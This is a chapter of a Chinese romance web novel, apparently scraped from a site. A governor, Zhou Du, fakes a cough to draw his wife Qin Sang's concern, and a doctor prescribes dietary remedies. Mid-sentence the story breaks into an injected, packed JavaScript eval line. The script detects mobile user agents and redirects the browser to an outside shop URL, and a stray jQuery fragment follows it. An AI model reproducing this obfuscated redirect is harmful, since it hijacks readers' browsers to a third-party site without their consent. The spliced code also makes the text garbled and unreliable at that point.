阿元的事说来也简单:他想要个教他舞剑的师傅。
上回给阿元买李白套装时,秦桑顺带给他打了一把剑;秦桑怕阿元伤到自己,那把金铁锻造的长剑并没有开锋,秦桑还顺带给阿元买了把木剑玩,让他先练练手感。
阿元开心极了,抽出木剑唰唰唰砍来砍去;砍完了,他握着剑鞘,试了好几回才把木剑收回到剑鞘中,一看就知道没摸过剑。
果然,之后阿元不好意思地说他没练过剑,想找个老师教教他。
正巧周度闲着,秦桑就提起了这事。她喝口茶清清口才道:“也不用找什么名师,随便找个人教他比划两下子,能摆个花架子就行。”
反正阿元也只是玩玩,并不打算真的做剑客。
“这事不难,”周度稍一思量就下了决断:“李训有个儿子叫李隼,打小就筋强骨壮、弓马娴熟,于剑法上也很有见地,最难得的是他年纪小,今年才十六岁,正好和阿元做个伴。”
“十六岁?”秦桑大喜过望:“好好好,就该让阿元多和同龄人一起玩!”
“那个李隼性子怎么样?是自来熟还是怕生人?”
阿元很黏她,又呆呆的,看着挺可怜的。
多几个能玩会玩的人带带他,阿元性格肯定会好很多。
“……是个很自来熟的孩子,遇事不怵,见谁都能说上话,”周度回忆着李隼的模样,又解释了一句:“阿元虽然在家中读书,但也有几个相识的同窗一起来听夫子讲课。”
“这些年我屡次升迁,每每外出做官,将阿元交给别人实在不放心;偏偏我常常微服私访了解情况,阿元也跟着我四处奔波,便不好去学堂里读书。”
“不过,我手下有十来位幕僚,他们都跟着我四处为官,家中也有子孙要读书,加起来也有十几人,我便索性请了夫子在家中授课,让这些孩子们和阿元一并读书。”
“你没见过那些孩子,大抵是阿元不愿他们搅了你们母子团聚;若是想见他们,回头寻个由头一起吃个饭就是。”
“原来是这样……”秦桑放下心来,又拿起糖葫芦大吃大嚼,还不忘把白瓷盘子推给周度:“哥哥,你也尝尝,很好吃的!”
白瓷盘中的糖葫芦不算大,竹签只有三寸来长的样子,每样都只是尝尝味道,但种类实在不算少——
有山楂的、海棠的、橘子瓣的、山药豆的,最难得的是苹果的,拳头大的苹果也裹在了红灿透亮的糖衣中,让人一看就心生喜欢。
那个糖苹果要是拿出去,一定能把小孩馋哭!
不过糖苹果太大,咬起来一定很不方便,秦桑就没有先吃糖苹果,反倒又拿了支橘子瓣的糖葫芦咔咔嚼着。
秦桑喜欢吃橘子。
秦桑周度都是淮安人。淮安虽然不产柑橘,但距离产柑橘的浙江福建等地很近,淮安又是漕运总督驻地,就在京杭大运河的要紧地段,倒也有柑橘买卖。
柑橘不便宜,但秦家也还负担得起,孩子们每年冬天都盼着吃橘子,秦桑周度也一样。
可后来秦桑跟着周度到了北京,那橘子经过京杭大运河的一路颠簸,一个个身价倍增,比起在淮安时贵了十数倍,俩人到北京后就没再尝过橘子味。
如今终于又吃到了橘子,秦桑爱惜的很,吃之前还特意喝了茶水清口,以免和方才的山楂糖葫芦串了味儿。
糖衣咔嚓一声响,酸酸甜甜的橘子汁水就争先恐后地流进喉咙里,让人越吃越想吃。
秦桑又把糖葫芦往周度手边推了推:“哥哥你尝尝这个橘子瓣的!好吃!”
可周度却并没有吃橘子瓣的糖葫芦。他拿了支山药豆的糖葫芦。
“……哥哥,”秦桑立刻明白了周度的意思——
他一定是知道自己喜欢吃橘子,所以把珍贵的橘子让给自己。
秦桑放下糖葫芦认真道:“哥哥,我吃一支就好了,你也尝尝啊。”
“桑桑,”周度话中带笑:“家里不缺橘子吃——你屋中就摆着一盘橘子,就在那两盘松子糖旁边,你没看见?”
秦桑摇头。
她当然看见了,但是……
“我是巡抚,家中不缺吃食,”周度笑容有些惆怅:“是我肠胃弱,吃不了生冷之物。”
说着晃晃手中的糖葫芦:“我吃这个就好,温和,不伤肠胃。”
周度这话半真半假。
他确实肠胃虚弱,但不至于连一瓣橘子都无福消受;这么说,不过是想让秦桑在意他罢了。
果然,秦桑渐渐皱起眉头。
是啊,周度有咳疾,要看大夫的。
想了想,秦桑举起橘子瓣的糖葫芦送到周度嘴边:“哥哥,你吃一个,就尝尝味儿呢。”
凉凉的糖衣贴着嘴唇,空气中满是橘子的清新气息;周度想了想,张口咬下一颗橘子瓣:“好。”
冰凉酸甜的汁水涌入口中,周度口齿留香;他握住秦桑手腕:“很好吃。”
“桑桑自己吃,我吃这个。”
“嗯,”秦桑心不在焉地放下大半串糖葫芦,眼巴巴地看着周度将那串小小的山药豆糖葫芦吃完了,她倏地拉着周度起身:“哥哥,正巧你闲着,让张大夫给你看看身体!”
“他就在家里,不占你什么时间!”
秦桑说着就拉着周度跑开,周度垂眼看着秦桑手腕,反手回握住她的手。
。
虽然没给周度诊脉,但张大夫住在巡抚衙门后宅的几天倒也没闲着——
周度手底下有一堆钱粮刑名师爷。
这些人年纪不小,又个个拖家带口,难免有个病痛;他们知道张大夫是杏坛圣手、妙手回春,于是一个个带着家人来找张大夫诊脉。
终于送走了这些师爷们,张大夫净了手,慢慢在院中打五禽戏。
张大夫出身医药世家,几代人都是大夫,也治过无数病人;他医术精湛,并不迷信药食进补,反倒总结出了十六字的养身真言。
修身养性,活动筋骨,合时而食,饥餐困眠。
这些年他性子淡泊,饮食常吃豆腐鸡蛋,再每天打打五禽戏,十几年都没有病过。
一套五禽戏还没打完,那位年轻得不像话的巡抚夫人就跑了过来:“张大夫……”
她气喘吁吁,身后还跟着位颀身玉面的郎君,正双眼含笑地望着她。
想必这郎君,就是那位精明强干的周巡抚了。
张大夫收了动作,主动迎了上去:“夫人请进屋喝杯茶,歇一歇再说话。”
。
说清来意后,周度与张大夫对面而坐,秦桑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699309|208079||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
目不转睛地看着张大夫的动作。
张大夫阖眼诊脉,片刻后收回了手:“周抚台这是——”
“咳咳……”周度捂着胸口咳个不停。许久后他止住咳声哑声问:“我这咳疾如何?……大夫尽管直言,但莫要吓着了内子。”
秦桑越发担心了。她瞪着周度打断他话:“你别说话!听大夫说!”
周度便不再多说,嘴角却微微翘起。
他身子确实不算健壮,但并没有咳疾,只不过这病装起来很轻松,也最能讨秦桑注意。
如今他说莫要吓到秦桑,张大夫说他咳疾不重,秦桑也只会当张大夫在安慰她,免得他装病的事暴露出去,惹得秦桑好几天不理他。
张大夫想起周度鳏夫十年的传闻,望他一眼下了决断:“……抚台的咳疾并不算严重,只是冬春干冷,难免喉咙痒痛,多喝些汤水润喉就是。”
秦桑眉头并未舒展,又听张大夫沉声道:“不过,抚台虽无大病,但操劳过度、气血两亏,长此以往,恐怕……春秋不永。”
秦桑猛地看向周度,嘴唇抿得发白。
春秋不永……
周度是抚台,大夫不会平白无故说他是个短命鬼;张大夫既然说出了这话,那周度……
“大夫言重了,”周度不以为意。他笑着反驳:“哪里这么夸张了?我——”
“别听他的!”秦桑挡在周度身前,紧紧盯着张大夫:“大夫您说,他到底是怎么回事?”
“用不用吃药?还是要吃补品?有没有什么别的忌讳?”
周度七岁时瘦得形销骨毁,大夫说他身体太差,若能吃下东西还好,否则就准备后事吧。
当时周度侥幸活了下来,但大夫照旧说他身体太弱,要他好生养着;也因为这事,爹爹、嫂子才让秦桑看着周度吃饭,还特意给他开小灶,每天都蒸糯糯的蛋羹给他吃。
秦桑越想越害怕,又气周度没有好好照顾自己;好在张大夫很快给了回复:“凡药皆有偏性(1),滥用反而不美;抚台只是操劳过度,并无大病,药补不如食补。”
“我写几个食补的方子,日后照着这方子吃上一段时间,再多加休息、勤动筋骨,便能不药而愈。”
说着张大夫取出药箱、掏出笔墨,认真写下数十张方子。
秦桑也跟了过去。
方子上的食材很普通,不过豆腐鸡蛋、萝卜白菜;偶尔有些猪羊鸡鸭,做法也以蒸煮清炖为主。
秦桑皱眉:“就只有这些?而且缺油少盐的,没有别的吗?”
张大夫头都不抬:“抚台肠胃虚弱,油腻之物,恐虚不受补;等吃上十天半月,抚台胃口好了,再吃肉也不迟,但禁油腻辛辣,当以清淡滋补为佳。”
秦桑想想周度早年日日吃的蛋羹,慢慢接受了这话;她又围着张大夫问东问西:“他肠胃很弱吗?日常有没有别的忌讳?……您等等,我拿个笔记一下。”
秦桑忙着记录,不时抬头问张大夫点东西;周度坐在原地品茶,面上的笑就没消失过。
日后秦桑必定会追着要他吃饭睡觉,他怕是躲不过。
如此也好,他这副身子是该好生将养。
正想着,门外却有人朝他招手。
周度心思一动,立刻放下茶杯走了出去。